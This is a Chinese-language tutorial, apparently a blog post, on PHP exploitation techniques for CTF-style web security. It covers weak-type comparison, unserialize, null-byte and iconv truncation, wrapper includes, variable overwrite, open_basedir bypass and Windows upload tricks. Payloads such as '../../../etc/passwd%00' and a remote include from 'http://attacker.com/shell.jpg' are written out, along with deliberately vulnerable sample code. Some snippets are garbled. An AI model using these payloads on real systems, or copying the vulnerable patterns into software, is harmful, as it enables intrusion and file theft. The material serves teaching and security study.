php函数利用

php

1. 弱类型

php语言中,一些相等的值:

' ' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == [ ' ' ]
NULL == false == 0
true == 1

在php中,比较两个值是否相等,可以用 “ == ” 或 “ === ” 。
“ == ” 在比较的时候,自动进行类型转换,不改变原来的值。
“ == ”一般就是出现漏洞的位置。

常见错误用法:

if($input == 1){
敏感逻辑操作;
}
if ($_GET[ ' a ' ] != $_GET[ ' b ' ] && md5($_GET [ ' a ' ]) == md5($_GET[ ' b '])){
echo $flag;
}

md5的返回值是一个32位的字符串,如果这个字符串以"0e"开头,类型转换机制就会将它识别为科学计数法表示的数字"0"。

同样在程序返回值中最容易判断错误的函数还有很多,比如strpos

if(strpos($str1,$str2) == false){//当str1中不包含str2的时候
敏感逻辑操作;
}

当str1在str2开头时,函数的返回值是0。而0 == false是成立的。

2. 反序列化漏洞
serialize将任意类型的数据转换成string类型
unserialize函数函数将string类型还原成任意类型
当unserialize函数的参数被用户控制的时候,就会形成反序列化漏洞。
再了解一下php中的类,php的类可能会包含一些特殊函数。
magic函数的命名方式是以"_"开头的

_construct//创建对象时调用
_destruct//php脚本结束调用
_toString//对象被当作字符串使用时调用
_sleep、_wakeup

这些函数在某些情况下,会被自动调用。
如果我们在反序列化的时候,加入一个类,并控制类中的变量值,结合具体的代码,就能执行magic函数里的危险逻辑了。

3. 截断

null字符截断比较有名。
原理:php内核是由C语言实现的,使用C语言中的一些字符串处理函数。在遇到NULL(\x00)字符的时候,处理函数就会将它当作结束标记,这个漏洞能够去掉变量结尾处不想要的字符。

<?php
	$file = $_GET[ ' file ' ];
	include $file.'.tpl.html';

按照正常的程序逻辑来说,这段代码并不能直接包含任意文件。但是可以通过NULL字符来提交:

?file = ../../../etc/passwd%00

即可读取到passwd文件,与之类似的是利用路径的长度绕过。

?file = ../../../{*N}/etc/passwd

系统在处理过长的路径时,会选择主动截断它。
不过,这两个漏洞,已经随着PHP版本的更新而消逝了。
另一个能造成截断的情况是:
不正确的使用iconv函数。

<?php
$file = $_GET[ ' file ' ].'.tpl.html';
include(iconv("UTF-8", "gb2312", $file));

在遇到file变量中包含非法utf-8字符时,iconv函数就会截断这个字符。
对于这种情况,只需要提交"?file = shell.jpg%ff"
(在utf-8字符集中,单个"\80-\xff"都是非法的)
不过这个漏洞只在windows系统中存在,在新版本的PHP中也已经得到修复。

4.伪协议

当我们可以控制include指令参数的前半部分时,如果在php.ini的设置中让allow_url_include = 1,即允许远程包含的时候,我们可以令参数为:

?file = http://attacker.com/shell.jpg

这样php就可以从攻击者的服务器上取得shell.jpg并包含。

如果我们能上传自定义图片的话,可以将webshell改名为shell.php,然后

?file = zip://uploads/random.jpg%23shell.php

这样就可以包含到shell,与zip协议效果相同的,还有phar协议。
另外,还可以通过伪协议读取部分文件。如果服务器上有一个index.php,那么可以令参数为:

php://filter/convert.base64-encode/resource=index.php

然后就可以在页面中得到index.php文件源码base64后的字符串了。

5.变量覆盖

1.函数使用不当。
extract()

<?php
	$auth = false;
	extract($_GET);
	if ($auth){
	echo "flag{...}";
	}else{
	echo "Access Denied.";
	}
?>

extract函数将GET传入的数据转换为变量名和变量的值
使$auth的值为true并获得flag:

?auth = 1

parse_str()

<?php
	$auth = false;
	parse_str($_SERVER[ ' QUERY_STRING ' ]);
	if ($auth) {
	echo "flag{...}";
	}else {
	echo "Access Denied.";
	}
?>
	

parse_str将GET传入的字符串解析为变量。
import_request_variables()

<?php
	$auth = false;
	import_request_variables('G');
	//import_request_variables()的值由G、P、C组合而成
	//G是GET,P是POST,C是Cookies
	//前面的字符会覆盖排在后面的字符传入参数的值
	//比如,参数为"GP",且GET和POST同时传入了auth参数,则POST传入的auth会被忽略
	if ($auth) {
	echo "flag{...}" ;
	} else {
	echo "Access Denied.";
	}
?>
	

这个函数自PHP5.4就被移除了。只在version [4.1,5.4)的时候可用。
2.配置不当。
在php版本号小于5.4的时候,还存在配置问题导致的全局变量覆盖漏洞。
当PHP配置register_globals = ON时,就可能出现该漏洞。

<?php
if ($auth) {
	echo "flag{...}";
	} else {
	echo "Access Denied.";
	}
?>

利用register_globals的特性,用户传入参数auth = 1即可进入if语句块。
但如果在if语句前初始化$auth变量,则不会触发这个漏洞。
3.代码逻辑漏洞
$$可变变量
可变变量可以让一个普通变量的值作为这个可变变量的变量名。

<?php
	$foo = " hello ";//赋值普通变量
	$$foo = " world ";//使用foo变量的值作为可变变量的变量名
	echo "$foo ${$foo};//输出hello world
	echo "$foo $hello";//输出hello world
?>

PHP移除了import_request_variables()和register_globals()后,有些开发者使用foreach遍历数组( G E T 、 _GET、 GET_POST)来注册变量,这样也会存在变量覆盖漏洞的情况。

<?php
	$auth = false;
	foreach($_GET as $key =>$value){
	//foreach循环将GET传入的参数注册为变量
	//传入?auth = 1 就可以绕过判断获得flag
	$$key = $value;
	}
	if ($auth) {
	echo "flag{...}";
	} else {
	echo "Access Denied.";
	}
?>

6.防护绕过

主要有两个手段

  • open_basedir
  • disable_function
    open_basedir是php设置中,为了防御PHP跨目录进行文件(目录)读写的方法,所有PHP中有关文件读写的函数都要经过open_basedir的检查。
    绕过方法
    使用DirectoryIterator+Glob
<?php
	printf('<b>open_basedir:%s</b><br />,ini_get('open_basedir'));
	$file_list = array();
	//normal files
	$it = new DirectoryIterator("glob:///*");
	foreach($it as $f) {
	$file_list[] = $f->_toString();
	}
	//special files (starting with a dot(.)
	$it = new DirectoryIterator("glob:///.*");
	foreach($it as $f) {
	$file_list[] = $f->_toString();
	}
	sort($file_list);
	foreach($file_list as $f) {
	each "{$f}
"
; } ?>

为了防止PHP代码存在漏洞导致操作系统沦陷,会使用disable_function来禁掉一些危险函数,如system、exec、shell_exec、passthru等。
disable_function的绕过方式很灵活,依赖于系统层面的漏洞,比如利用shellshock、imagemagick等组件的漏洞进行绕过操作。或者依赖于系统环境,利用环境变量LD_PRELOAD等漏洞进行绕过操作。如果权限足够,还可以尝试使用PHP调用数据库UDF的方法来执行命令。
windows系统特性
1.短文件名
windows允许基于MS-DOS或16位windows的程序访问文件。
cmd下"dir /x"查看短文件名
php函数利用_第1张图片
2.文件上传
上传的时候如果以黑名单的形式限制后缀,那么我们可以利用文件系统的特性去绕过

<form action = "" method = "POST" enctype = "multipart/form-data">
<input type = "file" name = "file">
<input type = "submit" name = "submit" value = "submit">
</form>
<?php
	error_reporting(1);
	if (isset($_POST['submit'])) {
		$name = $_FILES['file']['name'];
		$tempfile = $_FILES['file']['temp_name'];
		$savefile = "./upload/".$name;
		if (isset(pathinfo($name)['extension']) && pathinfo($name)['extension']!='php'){
			if(move_uploaded_file($tempfile,$savefile)){
				die('Success upload path : '.$savefile);
			}else{
				die('Upload failed..');
			}
		}
	}
?>
	

不能上传php后缀的文件
但如果我们上传时,追加高位字符[\x80-\xff],就可以绕过黑名单判断。
上传的文件后缀会失去[\x80-\xff]
与高位字符具有同样效果的还有":: d a t a " ,后者是利用 " : data",后者是利用": data",后者是利用":DATA Altername Data Stream"
windows下还有一个特殊符号是冒号,如果我们在上传的时候将后缀改为".php:.png"形式,那么在系统中最后得到的将是0字节的php后缀文件,起到了截断效果,但不能成功写入内容。

你可能感兴趣的:(php)